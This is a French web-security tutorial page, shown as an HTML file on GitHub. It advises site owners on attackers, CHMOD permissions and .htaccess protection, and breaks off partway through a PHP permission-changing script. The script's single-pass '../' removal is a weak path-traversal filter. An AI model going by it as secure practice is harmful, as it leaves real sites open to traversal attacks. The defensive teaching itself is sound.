-
Notifications
You must be signed in to change notification settings - Fork 0
/
internet-se-proteger-des-pirates-et-hackers.html
1408 lines (1355 loc) · 224 KB
/
internet-se-proteger-des-pirates-et-hackers.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!--
Twenty by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Sécuriser et protéger son site web des attaques des pirates</title>
<link rel="alternate" type="application/rss+xml" href="https://silomia.github.io/rss.xml" title="Silomia">
<link rel="alternate" type="application/rss+xml" href="https://silomia.github.io/en-rss.xml" title="Silomia English">
<link rel="alternate" hreflang="fr" href="https://silomia.github.io/internet-se-proteger-des-pirates-et-hackers.html">
<link rel="alternate" hreflang="en" href="https://silomia.github.io/en-internet-secure-protect-from-hacker-attacks.html">
<link rel="canonical" href="https://silomia.gitlab.io/internet-se-proteger-des-pirates-et-hackers.html">
<link rel="preload" href="css/styles.min.css" as="style">
<link rel="preload" href="js/script.min.js" as="script">
<link rel="preload" href="fonts/silomia-inter-light.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-inter-menu.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-inter-semibold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-symbol.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="apple-touch-icon" sizes="192x192" href="favicon-touch-192x192.png">
<link rel="icon" type="image/png" sizes="144x144" href="favicon.png">
<link rel="manifest" href="manifest.json">
<link rel="mask-icon" href="magnolia-silomia-carre.svg" color="#ab2bab">
<meta name="apple-mobile-web-app-title" content="Silomia">
<meta name="application-name" content="Silomia">
<meta name="theme-color" content="#ffffff">
<meta property="og:title" content="Sécuriser et protéger son site web des attaques des pirates">
<meta property="og:locale" content="fr">
<meta property="og:site_name" content="Silomia">
<meta property="og:type" content="article">
<meta property="og:image" content="https://silomia.github.io/images/password-pn_photo.jpg">
<meta property="og:url" content="https://silomia.github.io/internet-se-proteger-des-pirates-et-hackers.html">
<meta name="viewport" content="width=device-width initial-scale=1.0 maximum-scale=1.0 user-scalable=no">
<script type="application/ld+json">
{"@context":"http://schema.org/","@type":"Article","author":{"@type":"Person","name":"Ralph Davidovits"},"publisher":{"@type":"Organization","name":"Silomia","logo":{"@type":"ImageObject","url": "https://silomia.github.io/favicon-touch-192x192.png"}},
"datePublished":"2021-06-21","dateModified":"2024-07-15",
"headline":"Sécuriser et protéger son site web des attaques des pirates",
"image":["https://silomia.github.io/images/up-close-pear-cake.jpg"],
"mainEntityOfPage":{"@type":"WebPage","@id":"https://silomia.github.io/internet.html"}
}
</script>
<style media="screen">@media screen and (prefers-color-scheme:dark){body{color:silver;background-color:#151515}}a,article,body,div,em,footer,header,html,img,li,picture,section,span,strong{margin:0;padding:0;border:0}h1,h2,h3,h4,p,ul{padding:0;border:0}article,footer,header,section{display:block}.container{margin-left:auto;margin-right:auto;width:1300px}*,.row,.row>*,::after,::before{box-sizing:border-box}.row{border-bottom:solid 1px transparent;margin:-50px 0-1px -50px}.row>*{float:left;padding:50px 0 0 50px}.row::after,.row::before{content:"";display:block;clear:both;height:0}.\34 u,.\34 u\$,.\36 u,.\38 u{width:33.3333333333%;clear:none;margin-left:0}.\36 u,.\38 u{width:50%}.row.\31 50\%>*{padding:75px 0 0 75px}.row.\31 50\%{margin:-75px 0-1px -75px}.\38 u{width:66.6666666667%}body{font-family:"Inter",-apple-system,system-ui,sans-serif;font-weight:300;letter-spacing:.02em;line-height:1.65em}a{text-decoration:none;border-bottom:dotted 1px}h1,h2,h3,h4,strong{font-weight:600}em{font-style:italic}blockquote,p,ul{margin:0 0 2em}h1,h2,h3,h4{color:inherit;line-height:1.75em;margin:.7em 0;text-transform:uppercase;letter-spacing:normal}h1{font-size:1.4em}h2,h3{font-size:1.15em}blockquote{font-style:italic;padding:1em 0 1em 2em}body,section{font-size:14pt}section.special{text-align:center}header.major{padding-bottom:2em}header.special{margin-bottom:4em;padding-top:5.5em;position:relative;text-align:center}header.special::after,header.special::before{border-bottom:solid 1.5px;border-top:solid 1.5px;content:"";height:7px;opacity:.1;position:absolute;top:1.75em;width:43%}header.special::before{left:0}header.special::after{right:0}header.special h1{margin-bottom:0;font-weight:300}header.special h1+p{margin-bottom:0;padding-top:1.5em}header.special .icon{height:7em;left:0;position:absolute;text-align:center;top:1em;width:100%}header.special .icon::before{font-size:3.5em;opacity:.35}footer>:last-child{margin-bottom:0}picture{min-height:100px}#main{padding:7em 0}body.index #main{padding-top:5em}.mh-head .mh-text{display:block}.mh-head.mh-align-right .mh-text{text-align:right}.image.featured img,picture.image.featured{display:block;margin:0 0 2em;width:100%;min-height:200px}.wrapper{margin-bottom:5em;padding:5em}.wrapper.style3,.wrapper.style4{color:inherit;border-radius:5px}.wrapper.style4{padding:4em}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.icon{text-decoration:none;position:relative}.icon::before{font-style:normal;font-weight:400;text-transform:none!important}.mm-menu_offcanvas:not(.mm-menu_opened){display:none}@media screen and (min-width:1900px){.container{width:1400px}body,section{font-size:16pt}}@media screen and (max-width:1680px){.container{width:1200px}.row>*{padding:40px 0 0 40px}.row{margin:-40px 0-1px -40px}.row.\31 50\%>*{padding:60px 0 0 60px}.row.\31 50\%{margin:-60px 0-1px -60px}#main .sidebar section{margin:3em 0 0;padding:3em 0 0}#main .sidebar section:first-child{border-top-width:0;padding-top:0;margin-top:0}body{font-size:14pt}section{font-size:12.5pt}}@media screen and (max-width:1280px){.container{width:960px}.row>*{padding:40px 0 0 40px}.row{margin:-40px 0-1px -40px}.row.\31 50\%>*{padding:60px 0 0 60px}.row.\31 50\%{margin:-60px 0-1px -60px}#main .sidebar section{margin:3em 0 0;padding:3em 0 0}#main .sidebar section:first-child{border-top-width:0;padding-top:0;margin-top:0}body{font-size:13pt;line-height:1.65em}section{font-size:12pt}h1,h2,h3,h4{line-height:1.5em}.wrapper{margin-bottom:4em;padding:4em 3em}.wrapper.style4{padding:3em}}@media screen and (max-width:980px){.container{width:95%}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}body{font-size:13pt;line-height:1.55em}section{font-size:12.5pt}header.special{padding-left:2.5em;padding-right:2.5em}.wrapper{margin-bottom:3em;padding:3em 2.5em}.wrapper.style4{padding:2.5em}}@media screen and (max-width:840px){.container{width:95%!important}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}.\31 2u\28narrower\29 {width:100%;clear:none;margin-left:0}body,html{font-size:14pt}section{font-size:13pt;margin:1em 0}h1{font-size:1.25em;letter-spacing:-.02em}h2,h3{font-size:1.05em;letter-spacing:.002em}header.special{margin-bottom:4em;padding-top:5em}header.special::after,header.special::before{width:40%}header.special h1+p{padding-top:1.25em;letter-spacing:-.01em}section:first-child{margin-top:0}.wrapper.style4{padding-bottom:3em}#main{padding:5em 0}}@media screen and (max-width:730px){.container{width:100%!important}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}body{min-width:320px;font-size:14pt;letter-spacing:.01em}section{font-size:13.5pt}h1{font-size:1.25em}h2,h3{font-size:1em}header,header p{text-align:center}header.special{margin-bottom:3em;padding-left:1.5em;padding-right:1.5em}header.special::after,header.special::before{width:38%}header.special .icon{font-size:.75em;top:1.5em}.image.featured img,picture.image.featured{min-height:100px}.wrapper{margin-bottom:2.5em;padding:2.25em 1.5em}.wrapper.style4{background-size:10em;padding:1.5em 1.5em 3em}#main{padding:3.5em 0 2.5em}}@media screen and (max-width:360px){body{font-size:14pt}section{font-size:13pt}}</style>
</head>
<body class="right-sidebar" onerror="ers()">
<div id="page-wrapper">
<!-- Header -->
<header id="header" role="banner" class="mh-head mh-align-right">
<span class="mh-btns-left"><a class="mburger mburger--squeeze" href="#my-menu"><b></b> <b></b> <b></b> <span class="mburger-label">Menu</span></a></span>
<span class="icon fa-magnolia mh-logo"></span>
<span class="mh-text slogan">Par le chemin des mots, <strong> toucher la lumière.</strong></span>
</header>
<!-- Main -->
<article id="main">
<header class="special container">
<span class="icon fa-code"></span>
<h1>Sécuriser et protéger son site web des <strong>attaques des pirates et hackers</strong></h1>
<p>Sachez comment ils procèdent pour ne pas en avoir peur et connaitre la parade.</p>
</header>
<!-- One -->
<section class="wrapper style4 container">
<div class="row 150%">
<div class="8u 12u(narrower)">
<!-- Content -->
<div class="content">
<section>
<picture class="image featured">
<source type="image/avif" media="(max-width: 415px)" srcset="images/password-pn_photo@1x.avif">
<source type="image/avif" media="(min-width: 416px)" srcset="images/password-pn_photo@1x.avif 1x, images/password-pn_photo.avif 2x">
<source media="(max-width: 415px)" srcset="images/password-pn_photo@1x.jpg">
<source media="(min-width: 416px)" srcset="images/password-pn_photo@1x.jpg 1x, images/password-pn_photo.jpg 2x">
<img src="images/password-pn_photo@1x.jpg" alt="Password. Crédit photo: PN_Photo">
</picture>
<header>
<h2>Table des matières</h2>
</header>
<p>
<table class="smallfont">
<tbody>
<tr>
<td><a href="#intro">Qui sont les pirates?</a></td>
<td><a href="#chmod">Les droits CHMOD</a></td>
<td><a href="#htaccess">Protection par htaccess</a></td>
</tr>
<tr>
<td><a href="#gesfic">Gestionnaire de fichiers</a></td>
<td><a href="#installsql">Installer un blog, cms, wiki</a></td>
<td><a href="#nommage">Nommage de fichiers</a></td>
</tr>
<tr>
<td><a href="#motpasse">Les mots de passe</a></td>
<td><a href="#cryptconfig">Crypter config.inc.php</a></td>
<td><a href="#cryptmail">Cryptez l'adresse e-mail</a></td>
</tr>
<tr>
<td><a href="#adressmail">Adresses e-mails à éviter</a></td>
<td><a href="#dossierpasse">Blocage par mot de passe</a></td>
<td><a href="#robots">Le fichier robots.txt</a></td>
</tr>
<tr>
<td><a href="#protcss">Protéger CSS et index.php</a></td>
<td><a href="#filtrephp">Sécuriser un script PHP</a></td>
<td><a href="#injectsql">Contrer l'injection SQL</a></td>
</tr>
<tr>
<td><a href="#fichmodif">Liste des fichiers modifiés</a></td>
<td><a href="#testweb">Tester la sécurité du site</a></td>
<td><a href="#piratesavoir">Piraté sans le savoir?</a></td>
<td> </td>
</tr>
</tbody>
</table></p>
<a id="intro"></a><hr><br>
<header>
<h2>Introduction</h2>
</header>
<p>Comment éviter que votre site web ne soit utilisé par un pirate comme plateforme de phishing (hameçonnage) ou d'envoi massif de spams (pourriels) ? Comment éviter le “defacing”, c'est-à-dire l'effacement de votre site web et son remplacement par un autre, ou une page avec un slogan anti-occidental ? Comment éviter certains trous de sécurité ?</p>
<p>À priori, les serveurs mutualisés de votre hébergeur devraient être relativement sécurisés et disposer d'outils permettant de bloquer certains comportements suspects. Les hébergeurs sont des professionnels qui ont la maitrise de leurs outils. Ils mettent à votre disposition un espace que vous devez contrôler, ils ne le font pas pour vous. En effet, ils ne s'occupent que de leur partie (la gestion du matériel et de leurs serveurs), et vous êtes responsable des données que vous y mettez (site web, e-mail, fichiers…). Par conséquent, l'hébergeur suspend votre site web après une attaque, vous laissant le soin de corriger le problème tout seul. Tant que vous n'intervenez pas, cette action à postériori bloque votre compte et votre site web reste inaccessible. Il est donc préférable de prévenir le piratage pour l'empêcher de vous nuire.</p>
<p>Voici donc quelques conseils concrets, pratiques et très efficaces. C'est l'accumulation de ces trucs et astuces qui sécurisera votre site, car il n'y a pas de solution unique ; les pirates utilisent plusieurs moyens différents pour forcer un compte.</p>
<p><strong>Qui sont les pirates ?</strong> Les premiers sont des “skiddy”, des jeunes (“kid” en anglais, “kiddy” pour petit jeune) qui utilisent des scripts prêts à l'emploi (le “s” de skiddy) qu'on trouve facilement sur le web pour exploiter les failles d'un CMS, blog, e-commerce, etc. Ils ne font qu'utiliser ces scripts comme on utilise un logiciel. Ce ne sont pas des “petits génies”, ils ne programment pas et n'inventent rien. Ils se lancent des défis à celui qui effacera ou violera le plus de sites web. Les autres, bien plus dangereux, sont des pirates au service d'une mafia afin de prendre le contrôle de votre site web via une faille de votre CMS, blog ou e-commerce pour le convertir en plateforme d'envoi de spams ou de phishing, ou en automate pour violer d'autres ordinateurs. Ceux-là créent leurs propres scripts qu'ils ne partagent pas avec une communauté. Ils font cela pour l'argent ; les mafieux les payent en fonction du nombre de sites web piratés, d'identifiants et mot de passe récoltés, de moyens de paiements interceptés, d'ordinateurs personnels dont ils ont pris le contrôle à l'insu du malheureux propriétaire (c'est-à-dire votre PC et chez vous en profitant de votre connexion à internet en programmant un <em>malware</em> par exemple).</p>
<p><strong>Pourquoi attaquent-ils votre site ?</strong> Ni le skiddy, ni le mafieux ne vous visent personnellement. Les uns le font pour le jeu, les autres pour l'argent. Il est peu probable qu'on vous vise personnellement. Certains skiddies effacent des sites et se cachent derrière des pseudo slogans politiques et anti-occidentaux, histoire de vous faire peur, de se donner de l'importance et se prendre au sérieux. Il n'en est rien.</p>
<p><strong>Comment savent-ils que mon site a une faille de sécurité ?</strong> Réponse : Google ou tout autre moteur de recherche ! Il cherche un fichier précis comme login.php, confip.php ou autres, et, combiné avec quelques mots-clés, ils savent quel CMS, blog ou e-commerce vous utilisez. Ils essaieront alors de lancer un script pour tester si l'attaque fonctionne. Ils ne font même pas ça manuellement, car ils ont des logiciels qui le font automatiquement !!! Leurs logiciels testent chaque URL listée par Google à la recherche de la faille. C'est aussi simple que ça. Ils vous trouvent par hasard.</p>
<p>Donc, nous allons essayer de nous prémunir contre ces attaques automatiques. Ces conseils ne concernent que les sites web utilisant un CMS, blog ou e-commerce, etc. programmés par des informaticiens ou par vous.</p>
<p><strong class="vert">CONSEIL NUMÉRO 1 :</strong> votre CMS, blog ou e-commerce doit être à jour. Vous suivrez les mises à jour de sécurité et les installerez sans attendre.</p>
<p><strong class="vert">CONSEIL NUMÉRO 2 : LES RÈGLES LES PLUS IMPORTANTES</strong> <br>
Comme ce tutoriel est long, voici les règles qu'il faut appliquer en priorité. Vous pourrez inclure les autres plus tard.<br>
<strong>1-</strong> Attribuez par FTP aux fichiers les droits chmod 404 et aux dossiers les droits chmod 505. <a href="#chmod">Voir l'article ci-dessous.</a> <strong>C'est, sans conteste, la règle la plus efficace et indispensable.</strong></p>
<p><strong>2-</strong> Le tableau de bord ou l'interface d'administration de votre blog, CMS ou e-commerce est protégé par un identifiant et un mot de passe complexe. Toutefois, sa résistance à l'agression dépend des choix techniques (et des failles) du programmeur. Contre cela, ajoutez une deuxième protection par <a href="#dossierpasse">le mot de passe .htaccess.</a> Si un pirate arrive à contourner la première sécurité, il va se heurter à un deuxième mur. <strong>Cette double défense est une armure contre les attaques automatiques.</strong></p>
<p><strong>3-</strong> Règles de filtrage par htaccess. Permet d'arrêter de nombreuses attaques avant de toucher votre site web. <a href="#htaccess">Voir l'article ici.</a> Leurs efficacités seront excellentes mais elles se basent sur <strong>les comportements des hackers et des techniques qui évoluent</strong> avec les années. Ces protections ne seront jamais absolues.</p>
<p>Si vous pouvez combiner les trois premières règles, ou au minimum seulement les deux premières, <strong class="vert"> vous érigerez une véritable forteresse !</strong></p>
<p><strong>4-</strong> Règles de sauvegarde et de restauration de votre site web. D'abord, vérifiez quels fichiers le pirate a ajouté ou modifié en installant <a href="#fichmodif">ce script </a>. Ensuite, êtes-vous capable d'effacer complètement votre site web pour supprimer toutes les traces du pirate et de tout réactiver en 30 minutes ? Voici comment. <a href="internet-sauvegarde-backup-restauration-web-sql.html">Lire l'article ici</a>.</p>
<a id="chmod"></a><hr><br>
<header>
<h2>Les droits d'écriture, de lecture et d'exécution.</h2>
</header>
<p><strong class="vert">-= INDISPENSABLE =-</strong></p>
<p>Plus d'infos ici : <a href="https://fr.wikipedia.org/wiki/Chmod">Description du CHMOD et de la signification des numéros.</a></p>
<p>Attention, ces règles peuvent fonctionner pour certains hébergeurs et pas chez d'autres. Faites un petit essai, cela en vaut vraiment la peine.</p>
<p>On a l'habitude de dire qu'on doit attribuer par FTP les droits 644 à un fichier et 755 à un dossier.<br>
En fait, certains hébergeurs (mais pas tous) ne semblent pas utiliser de <em>groupe</em>. Donc, on pourrait très bien utiliser les droits 604 pour un fichier et 705 pour un dossier. Si un pirate pénètre le système avec un droit de <em>groupe</em>, il n'aura accès à rien, ni en lecture ni en écriture.</p>
<p>On peut aller plus loin. Protégeons les parties sensibles de votre CMS, blog ou e-commerce, comme le fichier config.php et .htaccess en lui donnant les droits 404 (ou 444). Personne ne pourra le modifier, même pas vous (c'est faux dans l'absolu si votre site a un gros trou de sécurité, mais imparable contre une attaque automatique). Vous ne pourrez le faire que par FTP quand vous aurez vraiment besoin de le modifier.</p>
<p><strong>Voilà comment je protège mon site :</strong><br>
Tous les fichiers ont les droits 404 (ou 444).<br>
Tous les dossiers ont les droits 505 (ou 555).<br>
Si un fichier ou un dossier nécessitent des droits d'écriture par le serveur mettez 604 pour le fichier et 705 pour le dossier. Inutile de faire le fameux 777 (tous les droits à tout le monde) qui est un danger public, une provocation au piratage, car vous annoncez que votre maison est grande ouverte, sans porte ni fenêtre, tout le monde peut se servir.<br>
Les fichiers config et htaccess ont des droits 404 (ou 444)<br>
Le dossier “www” ou “public_html” <strong>doit</strong> être en chmod 705 ou 755 selon votre hébergeur, ne le changez jamais.</p>
<p><strong>Avantage :</strong> personne ne peut modifier vos fichiers. <strong>Inconvénient :</strong> il faut changer les droits en écriture (644 et 755) si vous faites une mise à jour de votre CMS, blog ou e-commerce et remettre les bons droits 404 (ou 444) et 505 (ou 555) après. Cela prend 10 min., mais ça en vaut la peine. Si votre hébergeur ne vous permet pas de faire cela, déménagez chez un autre.</p>
<p><strong>Pourquoi est-ce si important ?</strong> Le pirate essaye d'installer un fichier sur votre site afin d'en prendre le contrôle (pour effacer le site, y placer des fichiers pour faire du phishing ou un script qui envoie du spam, etc.). Il cherche des trous de sécurité pour pouvoir enregistrer son fichier de prise de contrôle dans votre serveur. Si votre site web a un trou de sécurité, le pirate l'exploitera, mais comme votre site web n'a que des dossiers et fichiers interdits en écriture, il ne pourra rien enregistrer. Son attaque ne marchera pas. <strong>S'il n'y avait qu'une seule règle à appliquer ce serait celle-là, sans conteste la plus efficace et indispensable.</strong></p>
<p>Le plus simple est d'utiliser votre logiciel de FTP, d'afficher les informations relatives à un fichier ou un dossier et votre logiciel affiche l'option de modification des droits. Une autre méthode efficace, si vous avez de nombreux fichiers, est de se connecter en SSH (voir sa description plus bas). Sinon, voici un petit script PHP qui vous permettra de réaliser cette opération très simplement. Vous enregistrez ce fichier dans votre hébergement web, vous l'ouvrez depuis votre navigateur, entrez le chemin du dossier à traiter, et choisissez les réglages CHMOD pour tous les fichiers et dossiers inclus dans ce répertoire. Un rapport détaillé vous donnera les résultats. Une fois l'opération terminée, supprimez ce fichier pour éviter toute utilisation involontaire.</p>
<p>Vous pouvez prendre ce fichier PHP ici : <a href="depot/chmod.zip">chmod.zip (2,2 Ko)</a></p>
<span class="smallfont">Code PHP :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">FORMULAIRE DE MODIFICATION DES DROITS CHMOD DES FICHIERS ET DOSSIERS</span>
<span style="color: #408080; font-style: italic">Enregistrez ce fichier dans votre répertoire hébergement web, ouvrez-le </span>
<span style="color: #408080; font-style: italic">avec votre navigateur et suivez les instructions.</span>
<span style="color: #408080; font-style: italic">Un rapport d'erreur est fourni. Supprimez le fichier après utilisation.</span>
<span style="color: #408080; font-style: italic">*/</span>
<span style="color: #408080; font-style: italic">/* initialisation des variables */</span>
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>;
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>;
<span style="color: #19177C">$retval</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>; <span style="color: #408080; font-style: italic">/* nombre d'erreurs CHMOD */</span>
<span style="color: #408080; font-style: italic">/* Chemin du dossier a traiter */</span>
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^_A-Za-z0-9-\.%\/]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"chemin"</span>]); <span style="color: #408080; font-style: italic">/* chemin de fichier absolu (avec nettoyage contre piratage) */</span>
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/\.\.\//'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$chem</span>); <span style="color: #408080; font-style: italic">/* on interdit la commande ../ */</span>
<span style="color: #008000">define</span>(<span style="color: #BA2121">'ABSPATH'</span>, <span style="color: #008000">dirname</span>(<span style="color: #008000; font-weight: bold">__FILE__</span>));
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> ABSPATH<span style="color: #666666">.</span><span style="color: #19177C">$chem</span>; <span style="color: #408080; font-style: italic">/* chemin de fichier absolu de votre compte du genre /home/loginftp/www/ ou /home/loginftp/public_html/ etc. */</span>
<span style="color: #408080; font-style: italic">/* Droits des dossiers */</span>
<span style="color: #19177C">$d1</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir1"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[57]$/'</span>)));
<span style="color: #19177C">$d2</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir2"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[057]$/'</span>)));
<span style="color: #19177C">$d3</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir3"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[057]$/'</span>)));
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span><span style="color: #666666">.</span><span style="color: #19177C">$d1</span><span style="color: #666666">.</span><span style="color: #19177C">$d2</span><span style="color: #666666">.</span><span style="color: #19177C">$d3</span>;
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #008000">intval</span>(<span style="color: #19177C">$dosPerm</span>,<span style="color: #666666">8</span>);
<span style="color: #408080; font-style: italic">/* Droits des fichiers */</span>
<span style="color: #19177C">$f1</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic1"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[46]$/i'</span>)));
<span style="color: #19177C">$f2</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic2"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[046]$/i'</span>)));
<span style="color: #19177C">$f3</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic3"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[046]$/i'</span>)));
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span><span style="color: #666666">.</span><span style="color: #19177C">$f1</span><span style="color: #666666">.</span><span style="color: #19177C">$f2</span><span style="color: #666666">.</span><span style="color: #19177C">$f3</span>;
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #008000">intval</span>(<span style="color: #19177C">$ficPerm</span>,<span style="color: #666666">8</span>);
<span style="color: #408080; font-style: italic">/* Formulaire html pour changer les droits */</span>
